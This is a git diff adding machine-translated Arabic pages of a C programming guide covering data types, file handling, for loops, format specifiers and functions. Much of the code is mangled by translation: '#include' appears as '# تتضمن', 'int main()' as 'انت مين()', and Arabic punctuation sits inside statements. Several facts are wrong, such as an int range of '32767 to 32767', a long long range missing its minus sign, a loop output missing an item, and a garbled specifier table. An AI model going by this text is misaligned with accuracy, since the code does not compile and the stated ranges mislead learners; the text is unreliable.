+هناك عدة طرق مختلفة لتخزين البيانات في لغة C ، وكلها فريدة من نوعها. أنواع البيانات التي يمكن تخزين المعلومات كما تسمى أنواع البيانات. C أقل تسامحًا حول أنواع البيانات أكثر من اللغات الأخرى. نتيجة لذلك ، من المهم التأكد من أنك تفهم أنواع البيانات الموجودة ، وقدراتهم ، والقيود المفروضة عليهم.
+
+يتمثل أحد أنواع بيانات C في أنها تعتمد كليًا على الأجهزة التي تقوم بتشغيل شفرتك عليها. و `int` وعلى الكمبيوتر المحمول الخاص بك سيكون أصغر من أي `int` على الحاسوب العملاق، لذلك معرفة القيود المفروضة على الأجهزة التي نعمل على هو المهم. هذا هو السبب أيضًا في تحديد أنواع البيانات على أنها الحد الأدنى - قيمة `int` ، كما ستتعلم ، في الحد الأدنى من 32767 إلى 32767: على أجهزة معينة ، ستتمكن من تخزين المزيد من القيم.
+
+هناك فئتان يمكننا تقسيمها إلى: الأعداد الصحيحة وأرقام النقطة العائمة. الأعداد الصحيحة هي أرقام كاملة. يمكن أن تكون موجبة أو سالبة أو صفرية. الأرقام مثل -321 و 497 و 19345 و -976812 كلها صحيحة صحيحة ، ولكن 4.5 ليس لأن 4.5 ليس رقمًا صحيحًا.
+
+أرقام النقطة العائمة هي أرقام ذات قيمة عشرية. مثل الأعداد الصحيحة ، -321 و 497 و 19345 و -976812 كلها صحيحة ، ولكن الآن 4.5 و 0.0004 و -324.984 وأرقام أخرى غير كاملة صحيحة أيضًا.
+
+تسمح لنا C بالاختيار بين عدة خيارات مختلفة مع أنواع البيانات الخاصة بنا لأنها كلها مخزنة بطرق مختلفة على الكمبيوتر. نتيجة لذلك ، من المهم أن تكون على دراية بقدرات وقيود كل نوع بيانات لاختيار الأنسب.
+
+## أنواع البيانات الصحيحة
+
+#### الشخصيات: `char`
+
+يحمل `char` الأحرف - أشياء مثل الحروف وعلامات الترقيم والمسافات. في الكمبيوتر ، يتم تخزين الأحرف كأرقام ، لذلك يحمل `char` قيمًا صحيحة تمثل الأحرف. يتم وصف الترجمة الفعلية بواسطة ASCII القياسي. [وهنا](http://www.asciitable.com/) طاولة يدوية للبحث عن ذلك.
+
+يعتمد الحجم الفعلي ، مثل جميع أنواع البيانات الأخرى في C ، على الأجهزة التي تعمل عليها. بالحد الأدنى ، 8 بت على الأقل ، لذلك سيكون لديك من 0 إلى 127 على الأقل. بدلاً من ذلك ، يمكنك استخدام `signed char` للحصول على 128 - 127 على الأقل.
+
+#### الأعداد الصحيحة القياسية: `int`
+
+يعتمد مقدار الذاكرة التي تستغرقها `int` واحدة على الجهاز. ومع ذلك ، يمكنك توقع أن يكون `int` حجم 16 بت على الأقل. هذا يعني أنه يمكن تخزين القيم من -32،768 إلى 32،767 أو أكثر بناءً على الأجهزة.
+
+مثل جميع أنواع البيانات الأخرى ، هناك متغير `unsigned` يمكن استخدامه. يمكن أن يكون `unsigned int` موجبًا و صفرًا ولكن ليس سلبيًا ، لذا يمكنه تخزين القيم من 0 إلى 65،535 أو أكثر اعتمادًا على الأجهزة.
+
+#### الأعداد الصحيحة `short` : `short`
+
+لا يتم استخدام هذا في كثير من الأحيان ، ولكن من الجيد معرفة أنه موجود. مثل كثافة العمليات ، فإنه يمكن تخزين -32768 إلى 32767. على عكس كثافة العمليات ، ومع ذلك ، هذا هو مدى قدرتها. في أي مكان يمكنك استخدام `short` ، يمكنك استخدام `int` .
+
+#### الأعداد الصحيحة الأطول: `long`
+
+يخزن نوع البيانات `long` أعدادًا صحيحة مثل `int` ، ولكنه يعطي نطاقًا أوسع من القيم على حساب الحصول على المزيد من الذاكرة. مخازن طويلة على الأقل 32 بت ، مما يعطيها مجموعة من -2،147،483،648 إلى 2،147،483،647. بدلاً من ذلك ، استخدم `unsigned long` لمدة `unsigned long` من 0 إلى 4،294،967،295.
+
+#### حتى الأعداد الصحيحة الأطول: `long long`
+
+نوع البيانات `long long` هو overkill لكل تطبيق تقريبًا ، ولكن C سيسمح لك باستخدامه على أي حال. انها قادرة على تخزين ما لا يقل عن 9،223،372،036،854،775،807 إلى 9،223،372،036،854،775،807. وبدلاً من ذلك ، يمكنك الحصول على المزيد من المبالغة مع عدم التوقيع `unsigned long long` ، مما يمنحك ما لا يقل عن صفر إلى 18،446،744،073،709،551،615.
+
+## عائم عدد أنواع البيانات
+
+#### أرقام النقطة العائمة الأساسية: `float`
+
+يأخذ `float` 32 بت على الأقل لتخزين ، لكنه يعطينا 6 منازل عشرية من 1.2E-38 إلى 3.4E + 38.
+
+#### الزوجي: `double`
+
+`double` يأخذ ضعف الذاكرة من تعويم (64 على الأقل حتى بت). في المقابل ، يمكن أن توفر مزدوجة 15 منزلة عشرية من 2.3E-308 إلى 1.7E + 308.
+
+#### الحصول على مجموعة أوسع من الزوجي: `long double`
+
+`long double` تأخذ على الأقل 80 بت. ونتيجة لذلك ، يمكننا الحصول على 19 رقمًا عشريًا من 3.4E-4932 إلى 1.1E + 4932.
+
+## اختيار نوع البيانات المناسب
+
+يجعل C اختيار نوع البيانات ، ويجعلنا نكون محددين ومحددين للغاية حول الطريقة التي نقوم بها بذلك. يمنحك هذا الكثير من الطاقة على شفرتك ، ولكن من المهم اختيار الرمز الصحيح.
+
+بشكل عام ، يجب عليك اختيار الحد الأدنى لمهمتك. إذا كنت تعرف أنك ستحصل على عدد صحيح من 1 إلى 10 ، فلا تحتاج إلى فترة طويلة ولا تحتاج إلى مضاعفة. إذا كنت تعلم أنه لن يكون لديك قيم سالبة مطلقًا ، ففكر في استخدام المتغيرات `unsigned` لأنواع البيانات. من خلال توفير هذه الوظيفة بدلاً من القيام بذلك تلقائيًا ، تستطيع C إنتاج شفرة خفيفة وفعالة للغاية. ومع ذلك ، الأمر متروك لك كمبرمج لفهم القدرات والقيود ، واختيار وفقا لذلك.
+
+يمكننا استخدام مشغل sizeof () للتحقق من حجم متغير. راجع برنامج C التالي لاستخدام أنواع البيانات المختلفة:
+
+ `#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int a = 1; 
+ 
+    char b ='G'; 
+ 
+    double c = 3.14; 
+ 
+    printf("Hello World!\n"); 
+ 
+    //printing the variables defined above along with their sizes 
+    printf("Hello! I am a character. My value is %c and " 
+           "my size is %lu byte.\n", b,sizeof(char)); 
+    //can use sizeof(b) above as well 
+ 
+    printf("Hello! I am an integer. My value is %d and " 
+           "my size is %lu  bytes.\n", a,sizeof(int)); 
+    //can use sizeof(a) above as well 
+ 
+    printf("Hello! I am a double floating point variable." 
+           " My value is %lf and my size is %lu bytes.\n",c,sizeof(double)); 
+    //can use sizeof(c) above as well 
+ 
+    printf("Bye! See you soon. :)\n"); 
+    return 0; 
+ } 
+` 
+
+## انتاج:
+
+مرحبا بالعالم!  
+مرحبا! أنا شخصية. قيمي هو G وحجمه هو 1 بايت.  
+مرحبا! أنا عدد صحيح. القيمة الخاصة بي هي 1 وحجمتي 4 بايت.  
+مرحبا! أنا متغير عائم نقطة مزدوجة. القيمة الخاصة بي هي 3.140000 وحجمه 8 بايت.  
+وداعا! اراك قريبا. :)
+
+## نوع الفراغ
+
+يحدد نوع الفراغ أنه لا توجد قيمة متاحة. يتم استخدامه في ثلاثة أنواع من الحالات:
+
+#### 1\. إرجاع الدالة كالفراغ
+
+هناك وظائف مختلفة في C والتي لا ترجع أي قيمة أو يمكنك أن تقول أنها تعود باطلة. تحتوي الدالة التي لا تحتوي على قيمة إرجاع على نوع الإرجاع على أنه فارغ. على سبيل المثال ، `void exit (int status);`
+
+#### 2\. الحجج الدالة كالفراغ
+
+هناك العديد من الوظائف في C التي لا تقبل أي معلمة. يمكن لوظيفة بدون معلمة أن تقبل الفراغ. على سبيل المثال ، `int rand(void);`
+
+#### 3\. مؤشرات الفراغ
+
+مؤشر نوع الفراغ \* يمثل عنوان كائن ، ولكن ليس نوعه. على سبيل المثال ، إلغاء وظيفة تخصيص الذاكرة `void *malloc( size_t size);` إرجاع مؤشر إلى الفراغ الذي يمكن أن يتم إرساله إلى أي نوع بيانات.
+
+# قبل أن تذهب ...
+
+## مراجعة
+
+*   تعتمد القدرات الفعلية لأنواع بيانات C على الأجهزة. ونتيجة لذلك ، يتم تحديد الحد الأدنى من الأحجام لأنواع البيانات.
+*   تتيح لك أرقام النقاط العائمة الحصول على أرقام عشرية ، بينما الأرقام الصحيحة لن تكون كذلك.
+*   لدينا بعض الخيارات لقيمنا الصحيحة:
+*   شار ، والتي تم تصميمها للشخصيات ولكن أرقام المخازن
+*   int ، وهو نوع البيانات القياسية القياسية
+*   باختصار ، وهو نوع بيانات أقل استخدامًا ولكن لا يزال متاحًا
+*   طويلة ، والتي تعطي مجموعة واسعة من القيم الصحيحة
+*   طويلة ، مما يعطي نطاقًا زائدًا من القيم الصحيحة ولكنه لا يزال مفيدًا في بعض الأحيان.
+*   لدينا أيضًا بعض الخيارات لقيم النقاط العائمة:
+*   تعويم هو قيمة النقطة العائمة الأساسية ، تخزين 6 منازل عشرية
+*   ضعف يأخذ ضعف الذاكرة ويعطي 15 منزلة عشرية
+*   طويلة مزدوجة تأخذ ذاكرة أكثر وتعطي 19 منزلة عشرية
+*   من المهم اختيار نوع البيانات الصحيح ويعطي للمبرمج الكثير من التحكم في البرنامج عند مستوى منخفض.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/file-handling/index.md b/client/src/guide/arabic/c/file-handling/index.md
new file mode 100644
index 0000000000..530767f7f7
--- /dev/null
+++ b/client/src/guide/arabic/c/file-handling/index.md
@@ -0,0 +1,205 @@
+---
+title: File Handling
+localeTitle: التعامل مع الملف
+---
+## التعامل مع الملف
+
+### المقدمة
+
+إذا كنت قد قمت بكتابة برنامج C `helloworld` قبل ، فقد قمت بالفعل بإدخال ملف IO في C! تهانينا! : تادا:
+
+ `/* A simple hello world in C. */ 
+ #include <stdlib.h> 
+ 
+ // Import IO functions. 
+ #include <stdio.h> 
+ 
+ int main() { 
+    // This printf is where all the file IO magic happens! 
+    // How exciting! 
+    printf("Hello, world!\n"); 
+    return EXIT_SUCCESS; 
+ } 
+` 
+
+تعد معالجة الملفات الجزء الأكثر أهمية من المبرمج. في لغة C ، نستخدم مؤشر بنية لنوع الملف لإعلان ملف
+
+ `FILE *fp; 
+` 
+
+يوفر C عددًا من وظائف البناء لتنفيذ عملية الملف الأساسية
+
+**fopen ()** **\- قم** **بإنشاء ملف جديد أو افتح ملفًا موجودًا**
+
+**fclose ()** **\-** **إغلاق ملف**
+
+**getc ()** **\-** **يقرأ حرف من ملف**
+
+**putc ()** **\-** **يكتب شخصية إلى ملف**
+
+**fscanf ()** **\-** **يقرأ مجموعة من البيانات من ملف**
+
+**fprintf ()** **\-** **يكتب مجموعة من البيانات إلى ملف**
+
+**getw ()** **\-** **يقرأ عدد صحيح من الملف**
+
+**putw ()** **\-** **يكتب عدد صحيح لملف**
+
+**fseek ()** **\-** **ضبط الموقف لرغبة نقطة**
+
+**ftell ()** **\-** **يعطي الموقع الحالي في الملف**
+
+**الترجيع ()** **\-** **تعيين الموقف إلى نقطة البداية**
+
+### فتح ملف
+
+يتم استخدام الدالة **fopen ()** لإنشاء ملف أو فتح ملف موجود
+
+`c fp = fopen(const char filename,const char mode);`
+
+في C هناك العديد من الوضع لفتح الملف **ص** **\-** **فتح ملف في وضع القراءة**
+
+**ث** **\-** **يفتح أو ينشئ ملفًا نصيًا في وضع الكتابة**
+
+**أ** **\-** **يفتح ملف في وضع الإلحاق**
+
+**ص +** **\-** **يفتح ملف في وضع القراءة والكتابة على حد سواء**
+
+**a +** **\-** **يفتح ملفًا في وضع القراءة والكتابة**
+
+**w +** **\-** **يفتح ملفًا في وضع القراءة والكتابة**
+
+إليك مثال على قراءة البيانات وكتابتها في ملف
+
+\`\` \`ج #تتضمن
+
+# تتضمن
+
+الأساسية() { الملف \* fp؛ char ch؛ fp = fopen ("hello.txt"، "w")؛ printf ("أدخل البيانات") ؛ while ((ch = getchar ())! = EOF) { putc (الفصل، FP)؛ } fclose (اف ب)؛ fp = fopen ("hello.txt"، "r")؛
+
+بينما ((ch = getc (fp)! = EOF) printf ( "٪ ج"، الفصل)؛
+
+fclose (اف ب)؛ }
+
+ ``Now you might be thinking, "this justs prints text to my screen.  How is this file IO?" 
+ The answer isn't obvious at first, and needs some understanding about the UNIX system. 
+ Under a UNIX system, everything is treated as a file, meaning you can read and write from it. 
+ This means that your printer can be abstracted as a file since all you do with a printer is write with it. 
+ It is also useful to think of these files as streams, since as you'll see later, you can redirect them with the shell. 
+ 
+ So how does this relate to `helloworld` and file IO? 
+ 
+ When you call `printf`, you are really just writing to a special file called `stdout`, short for __standard output__. 
+ `stdout` represents, well, the standard output as decided by your shell, which is usually the terminal. 
+ This explains why it printed to your screen. 
+ 
+ There are two other streams (ie files) that are available to you with effort, `stdin` and `stderr`. 
+ `stdin` represents the __standard input__, which your shell usually attaches to the keyboard. 
+ `stderr` represents the __standard error__ output, which your shell usually attaches to the terminal. 
+ 
+ ### Rudimentary File IO, or How I Learnt to Lay Pipes 
+ Enough theory, let's get down to business by writing some code! 
+ The easist way to write to a file is to redirect the output stream using the output redirect tool, `>`. 
+ If you want to append, you can use `>>`. _N.b. these redirection operators are in_ `bash` _and similar shells._ 
+`` 
+
+سحق
+
+# هذا سوف يخرج إلى الشاشة ...
+
+./مرحبا بالعالم
+
+# ... ولكن هذا سوف يكتب إلى ملف!
+
+./helloworld> hello.txt
+
+ ``The contents of `hello.txt` will, not surprisingly, be 
+`` 
+
+مرحبا بالعالم!
+
+ ``Say we have another program called `greet`, similar to `helloworld`, that greets you given your name. 
+`` 
+
+ج
+
+# تتضمن
+
+# تتضمن
+
+انت مين() { // تهيئة صفيف لاحتواء الاسم. اسم شار \[20\] ؛ / / اقرأ سلسلة وحفظها على الاسم. scanf ("٪ s" ، الاسم) ؛ // اطبع التحية. printf ("مرحبًا ،٪ s!" ، الاسم) ؛ العودة EXIT\_SUCCESS ؛ }
+
+ ``Instead of reading from the keyboard, we can redirect `stdin` to read from a file using the `<` tool. 
+`` 
+
+سحق
+
+# اكتب ملفًا يحتوي على اسم.
+
+صدى كمالا> name.txt
+
+# سيقوم هذا بقراءة الاسم من الملف وطباعة التحيات على الشاشة.
+
+./greet <name.txt
+
+# \==> مرحبًا يا كمالا!
+
+# إذا أردت أيضًا كتابة التحية إلى ملف ، فيمكنك القيام بذلك باستخدام ">".
+
+ ``### The Real Deal 
+ The above methods only worked for the most basic of cases.  If you wanted to do bigger and better things, you will probably want to work with files from within C instead of through the shell. 
+ To accomplish this, you will use a function called `fopen`.  This function takes two string parameters, the first being the file name and the second being the mode. 
+ Mode is basically permissions, so `r` for read, `w` for write, `a` for append.  You can also combine them, so `rw` would mean you could read and write to the file.  There are more modes, but these are the most used. 
+ 
+ After you have a `FILE` pointer, you can use basically the same IO commands you would've used, except that you have to prefix them with `f` and the first argument will be the file pointer. 
+ For example, `printf`'s file version is `fprintf`. 
+ 
+ Here's a program called `greetings` that reads a from a file containing a list of names and writes to another file the greetings. 
+`` 
+
+ج
+
+# تتضمن
+
+# تتضمن
+
+انت مين() { // إنشاء مؤشرات الملف. FILE \* names = fopen ("names.txt"، "r")؛ FILE \* greet = fopen ("greet.txt"، "w")؛
+
+ `// Check that everything is OK. 
+ if (!names || !greet) { 
+    fprintf(stderr, "File opening failed!\n"); 
+    return EXIT_FAILURE; 
+ } 
+ 
+ // Greetings time! 
+ char name[20]; 
+ // Basically keep on reading untill there's nothing left. 
+ while (fscanf(names, "%s\n", name) > 0) { 
+    fprintf(greet, "Hello, %s!\n", name); 
+ } 
+ 
+ // When reached the end, print a message to the terminal to inform the user. 
+ if (feof(names)) { 
+    printf("Greetings are done!\n"); 
+ } 
+ 
+ return EXIT_SUCCESS; 
+` 
+
+}
+
+ ``Suppose `names.txt` contains the following: 
+`` 
+
+كامالا لوجان أغنية مرحة
+
+ ``Then after running `greetings` the file `greet.txt` will contain: 
+`` 
+
+مرحبا يا كمالا! مرحبا ، لوغان! مرحبا يا كارول! \`\` \`
+
+سوبر رائع ، أليس كذلك! :ابتسامة:
+
+### معلومات اكثر:
+
+*   [صفحة Wikibooks على ملف IO](https://en.wikibooks.org/wiki/C_Programming/File_IO)
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/for/index.md b/client/src/guide/arabic/c/for/index.md
new file mode 100644
index 0000000000..48fb625197
--- /dev/null
+++ b/client/src/guide/arabic/c/for/index.md
@@ -0,0 +1,42 @@
+---
+title: For Loop
+localeTitle: لحلقة
+---
+# لحلقة
+
+تقوم الحلقة `for` بتنفيذ كتلة من التعليمة البرمجية حتى يكون الشرط المحدد خاطئًا. استخدام `while` حلقات عندما يكون عدد التكرارات هي المتغير، وإلا استخدام `for` حلقات. استخدام شائع `for` حلقات التكرار هم مجموعة.
+
+## بناء جملة من أجل حلقة
+
+ `for ( init; condition; increment ) { 
+   statement(s); 
+ } 
+` 
+
+تتألف الحلقة `for` من 3 أقسام ، وقسم التهيئة ، وحالة محددة ، وقسم التشغيل التزايدي أو التزايدي. تتحكم هذه المقاطع 3 و `for` حلقة.
+
+يتم تنفيذ بيان التهيئة مرة واحدة فقط. ثم يتم تقييم اختبار التعبير. إذا كان تعبير الاختبار غير صحيح (0) ، فيتم إنهاء الحلقة. ولكن إذا كان تعبير الاختبار صحيحًا (غير صفري) ، يتم تنفيذ الرموز داخل نص الحلقة للتكرار ويتم تحديث تعبير التحديث. تتكرر هذه العملية حتى يصبح التعبير التجريبي خاطئًا.
+
+يتم استخدام حلقة for عادة عند معرفة عدد التكرارات.
+
+## مثال
+
+ `#include <stdio.h> 
+ 
+ int main () { 
+ 
+    int array[] = {1, 2, 3, 4, 5}; 
+ 
+    for (int i = 0; i < 5; i++) { 
+        printf("Item on index %d is %d\n", i, array[i]); 
+    } 
+ } 
+` 
+
+## انتاج:
+
+ `> Item on index 0 is 1 
+ > Item on index 1 is 2 
+ > Item on index 2 is 3 
+ > Item on index 3 is 4 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/format-specifiers/index.md b/client/src/guide/arabic/c/format-specifiers/index.md
new file mode 100644
index 0000000000..e38736b523
--- /dev/null
+++ b/client/src/guide/arabic/c/format-specifiers/index.md
@@ -0,0 +1,103 @@
+---
+title: Format Specifiers
+localeTitle: محددات التنسيق
+---
+# محددات التنسيق
+
+يحدد محددات التنسيق نوع البيانات المطلوب طباعتها على المخرجات القياسية. سواء كنت تريد طباعة مخرجات منسقة أو لأخذ مدخلات منسقة ، نحتاج إلى محددات التنسيق. يتم أيضًا استدعاء محددات التنسيق كما هو تنسيق string.Format يتم استخدام محدد أثناء الإدخال والإخراج. إنها طريقة لإعلام المترجم بنوع البيانات في متغير أثناء أخذ الإدخال باستخدام scanf () أو الطباعة باستخدام printf (). بعض الأمثلة هي٪ c ،٪ d ،٪ f ، إلخ.
+
+محدد تنسيق الأحرف:٪ c
+
+# تتضمن
+
+انت مين() { char ch = 'A'؛ printf ("٪ c \\ n"، ch)؛ العودة 0 }
+
+انتاج: ا
+
+محدد تنسيق صحيح:٪ d،٪ i
+
+# تتضمن
+
+انت مين() { int x = 45، y = 90؛ printf ("٪ d \\ n"، x)؛ printf ("٪ i \\ n"، x)؛ العودة 0 }
+
+انتاج: 45 45
+
+محدد التنسيق المزدوج:٪ f،٪ e أو٪ E
+
+# تتضمن
+
+انت مين() { تعويم a = 12.67 ؛ printf ("٪ f \\ n"، a)؛ printf ("٪ e \\ n"، a)؛ العودة 0 }
+
+انتاج: 12.670000 1.267000e + 01
+
+رقم أوكتوب غير مخصص لعدد صحيح:٪ o
+
+# تتضمن
+
+انت مين() { int a = 67؛ printf ("٪ o \\ n"، a)؛ العودة 0 }
+
+انتاج: 103
+
+غير سداسي عشري غير صحيح للعدد الصحيح:٪ x،٪ X
+
+# تتضمن
+
+انت مين() { int a = 15؛ printf ("٪ x \\ n"، a)؛ العودة 0 }
+
+انتاج: F
+
+طباعة سلسلة:٪ s
+
+# تتضمن
+
+انت مين() { char \[\] = "nitesh"؛ printf ("٪ s \\ n"، a)؛ العودة 0 }
+
+انتاج: نيتش
+
+* * *
+
+scanf (char \* format، arg1، arg2،…)
+
+العدد الصحيح العشري:٪ d
+
+# تتضمن
+
+انت مين() { int a = 0؛ scanf ("٪ d"، & a)؛ // input is 45 printf ("٪ d \\ n"، a)؛ العودة 0 }
+
+انتاج: 45
+
+قد يكون العدد الصحيح ثمانيًا أو بالنظام الست عشري:٪ i
+
+# تتضمن
+
+انت مين() { int a = 0؛ scanf ("٪ i"، & a)؛ // input is 017 (octal of 15) printf ("٪ d \\ n"، a)؛ scanf ("٪ i"، & a)؛ // input is 0xf (hexadecimal of 15) printf ("٪ d \\ n"، a)؛ العودة 0 }
+
+انتاج: 15 15
+
+نوع البيانات العائمة:٪ f،٪ e (double)،٪ lf (double double)
+
+# تتضمن
+
+انت مين() { تعويم a = 0.0؛ scanf ("٪ f"، & a)؛ // input هو 45.65 printf ("٪ f \\ n"، a)؛ العودة 0 }
+
+انتاج: 0.000000
+
+إدخال السلسلة:٪ s
+
+# تتضمن
+
+انت مين() { char str \[20\]؛ scanf ("٪ s"، str)؛ // الإدخال هو niteh printf ("٪ s \\ n"، str)؛ العودة 0 }
+
+انتاج: نيتش
+
+إدخال الحرف:٪ c
+
+# تتضمن
+
+انت مين() { char ch؛ scanf ("٪ c"، & ch)؛ // الإدخال هو A printf ("٪ c \\ n"، ch)؛ العودة 0 }
+
+انتاج: ا
+
+٪ المحددات التي يمكنك استخدامها في ANSI C:
+
+| محدد | تستخدم ل | |: -------------: |: -------------: | | ٪ ج | شخصية واحدة | ٪ s | سلسلة | | ٪ مرحبا | باختصار (وقعت) | | ٪ هو جين تاو | باختصار (غير موقعة) | | ٪ LF | مزدوجة طويلة | | ٪ ن | لا تطبع شيئا | ٪ د | عدد صحيح عشري | | ٪ س | عدد ثماني (قاعدة 8) عدد صحيح | | ٪ x | عدد ست عشري (قاعدة 16) عدد صحيح | | ٪ ع | عنوان (أو مؤشر) | | ٪ و | رقم نقطة عائمة للعوامات | | ٪ ش | العشرية غير الموقعة عشري | | ٪ e | رقم نقطة عائمة في التدوين العلمي | ٪ E | رقم نقطة عائمة في التدوين العلمي | ٪٪ | الرمز! |
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/functions/index.md b/client/src/guide/arabic/c/functions/index.md
new file mode 100644
index 0000000000..dcfc99b8f0
--- /dev/null
+++ b/client/src/guide/arabic/c/functions/index.md
@@ -0,0 +1,124 @@
+---
+title: Functions
+localeTitle: المهام
+---
+# وظائف في C
+
+أحيانًا يكون لديك جزء من الشفرة تحتاج إلى استخدامه مرارًا وتكرارًا ، ولكن في أوقات وأماكن مختلفة في شفرتك. يمكنك نسخها ولصقها مرارًا وتكرارًا ، ولكن هذا ليس حلاً رائعًا ، حيث يصبح حجم ملفك أكبر ، وتصعب تصحيح التعليمات البرمجية ، ومن الصعب قراءة التعليمات البرمجية. بدلاً من ذلك ، استخدم وظيفة: الدوال تشبه البرامج المصغرة الموجودة داخل شفرتك. يمكنك تمريرها للمتغيرات لاستخدامها ، ويمكن أن يعيد البيانات.
+
+## مثال
+
+إليك مثال بسيط على وظيفة تقسم رقمين. انها ليست مفيدة جدا لأن لدينا `/` ، لكنه يظهر أجزاء مختلفة من وظيفة.
+
+ `#include <stdio.h> 
+ 
+ int divides(int a, int b) { 
+    return a / b; 
+ } 
+ 
+ int main(void) { 
+    int first = 5; 
+    int second = 10; //MUST NOT BE ZERO; 
+ 
+    int result = divides(first, second); 
+ 
+    printf("first divided by second is %i\n", result); 
+ 
+    return 0; 
+ } 
+` 
+
+لاحظ أنه مثل `main` ، فإن `divides` لها تنسيق مشابه. ذلك لأن `main` هي أيضاً دالة- إنها خاصة فقط لأن C تبحث عنها أولاً. `divides` كما يأتي قبل `main` . هذا أمر مهم لأن `divides` النداءات `main` . استدعاء دالة يعني أنه يتم استخدام الرمز الخاص به. يجب أن يتم تجميع الكود قبل أن يتم استخدامه ، و C يجمع سطرًا سطحيًا من أعلى ، لذا لكي يتم استدعاء دالة ، يجب كتابتها قبل استدعاءها في هذا المثال. إذا جاءت `divides` بعد `main` ، فإنها ستفشل لأن المجمع لا يعرف أن `divides` موجودة حتى الآن. يمكنك أيضا استخدام النموذج الأولي وظيفة قبل الرئيسي للسماح لك بوضع `divides` بعد الرئيسي. النموذج الأولي للدالة متطابق مع الوظيفة التي لها نفس المتغيرات ونوع الإرجاع ، إلا أنه يتم حذف الأقواس واستبدالها بفاصلة منقوطة مثل:
+
+ `int divides(int a, int b); 
+` 
+
+لاحظ أيضًا أن `divides` `main` لا تتقاسم الأقواس ولا توجد بين قوسين. من المفترض أن تكون منفصلة ، على الرغم من أن واحد يدعو الآخر.
+
+مع أخذ ذلك في الاعتبار ، دعنا نذهب إلى السطر الأول في وظيفة في القسم التالي ، بعنوان:
+
+## كسر إعلان الدالة
+
+ `int divides(int a, int b) 
+` 
+
+يبدأ تعريف الدالة بنوع بيانات ، وهو في هذه الحالة `int` . مهما كان نوع البيانات الذي تريد إرجاعه ، يجب عليك وضعه هنا. يمكنك الحصول على أي نوع من أنواع البيانات ، أو لا يمكن أن يكون نوع البيانات من خلال وضع `void` هنا.
+
+التالي هو اسم الوظيفة. كلما كنت تريد استدعاء الدالة ، هذا هو الاسم الذي ستستخدمه. حاول أن تكون شيئًا وصفيًا ، بحيث يمكنك بسهولة تحديد ما يفعله.
+
+بعد اسم يأتي زوج من قوسين. في هذه الأقواس ، يمكنك استخدام معلمات الدالة الخاصة بنا ، والتي هي المتغيرات التي ستأخذها هذه الوظيفة وتستخدم عند تشغيل التعليمات البرمجية. في هذه الحالة ، هناك نوعان. كلاهما نوع البيانات `int` ، وسيتم تسمية `a` و `b` . من الناحية المثالية ، سيكون هناك أسماء أفضل لاستخدامها هنا ، ولكنك ستجد ذلك للأساليب البسيطة والسريعة وغالباً ما تستخدم أسماء المتغيرات المؤقتة.
+
+الآن دعونا نلقي نظرة على ما هو داخل الأقواس:
+
+ `return a / b; 
+` 
+
+هذا واضح جدا ، لأن هذه هي وظيفة بسيطة. `a` مقسومة على `b` ، ويتم إرجاع هذه القيمة. كنت قد رأيت `return` قبل في المهمة `main` ، ولكن الآن بدلا من إنهاء برنامجنا ، فإنه ينهي الطريقة ويعطي قيمة لما يطلق عليه.
+
+لذا ، لنلخص ما تقوم به هذه الوظيفة ، فهو يحصل على رقمين صحيحين ، ويقسمهما ، ويعيدهما إلى ما يطلق عليه.
+
+### معلمات دالة
+
+تستخدم المعلمات لتمرير الحجج إلى الوظيفة. هم نوعان من المعلمات: يسمى المعلمة المكتوبة في الدالة التعريف "المعلمة الرسمية". اﻟﻤﻌﻠﻢ اﻟﻤﻜﺘﻮب ﻓﻲ اﻟﺪاﻟﺔ ﻳﺴﻤﻰ اﻟﻤﻜﺎﻟﻤﺔ "اﻟﻤﻌﻠﻢ اﻟﻔﻌﻠﻲ". وﻳُﻌﺮف أﻳﻀًﺎ ﺑﺎﺳﻢ اﻟﺤﺠﺞ. وﻳﺘﻢ ﺗﺤﻮﻳﻠﻪ إﻟﻰ ﺗﻌﺮﻳﻒ اﻟﻮﻇﻴﻔﺔ وﻳﺘﻢ إﻧﺸﺎء ﻧﺴﺨﺔ ﻓﻲ ﺷﻜﻞ ﻣﻌﻠﻤﺎت رﺳﻤﻴﺔ.
+
+## مثال أكثر تعقيدًا
+
+كان هذا واحد وظيفة خط واحد. ستراهم عندما تكون هناك عملية بسيطة جدًا يجب إجراؤها مرارًا وتكرارًا ، أو عملية تنتهي بكونها سطرًا واحدًا طويلًا. من خلال جعلها وظيفة ، ينتهي الرمز ليكون أكثر قابلية للقراءة ويمكن التحكم فيه.
+
+ومع ذلك ، فإن معظم الوظائف لن تكون سطرًا واحدًا من التعليمات البرمجية. دعونا نلقي نظرة على مثال آخر أكثر تعقيدًا قليلاً يختار أكبر رقمين.
+
+ `int choose_bigger_int(int a, int b) { 
+    if(a > b) 
+        return a; 
+ 
+    if(b > a) 
+        return b; 
+ 
+    return a; 
+ } 
+` 
+
+كما هو الحال من قبل ، ستقوم الدالة بإرجاع عدد صحيح ويأخذ عددًا صحيحًا اثنين. لا جديد لرؤية هناك.
+
+يبدأ هذا الرمز مع بيان إذا أن يتحقق إذا `a` أكبر من `b` . في حالة ما هو عليه، فإنه سيعود `a` . إذا تم ذلك ، تنتهي الوظيفة هنا - لا يتم تقييم بقية الشفرة. إذا لم يتم الوصول إلى بيان الإرجاع هذا ، فسيتم تقييم العبارة التالية. إذا كان صحيحًا ، سيتم إرجاع `b` وتنتهي الدالة هنا.
+
+مع ذلك ، تم اعتبار الظروف لكون أكبر من b ، و b أكبر من a. ومع ذلك ، إذا كان يساوي b ، فإن الدالة ما زالت لن تعيد أي شيء. ولهذا السبب ، نعيد (أ) تساوي b ، لذا يمكننا العودة أيضًا).
+
+## كلمة حول "النطاق"
+
+النطاق هو شيء يجب أن تدركه. يشير إلى المناطق في التعليمات البرمجية الخاصة بك حيث يمكن الوصول إلى متغير. عند تمرير متغير إلى وظيفة ، تحصل الدالة على النسخة الخاصة بها لاستخدامها. وهذا يعني أن ضبط المتغير في الوظيفة لن يتم ضبطه في أي مكان آخر. وبالمثل ، إذا لم تكن قد اجتازت متغيرًا إلى وظيفة ، فلا يوجد به ولا يمكنه استخدامه.
+
+ربما تكون قد لاحظت مشكلة مشابهة مع أشياء مثل العبارات و أي من الحلقات. إذا قمت بتعريف متغير داخل أقواس ، فلن يمكن الوصول إليه خارج تلك الأقواس. ينطبق هذا على الوظائف بنفس الطريقة ، ولكن هناك بعض الطرق للالتفاف عليها:
+
+*   قم بعمل متغير عالمي عن طريق التصريح به خارج أي وظائف
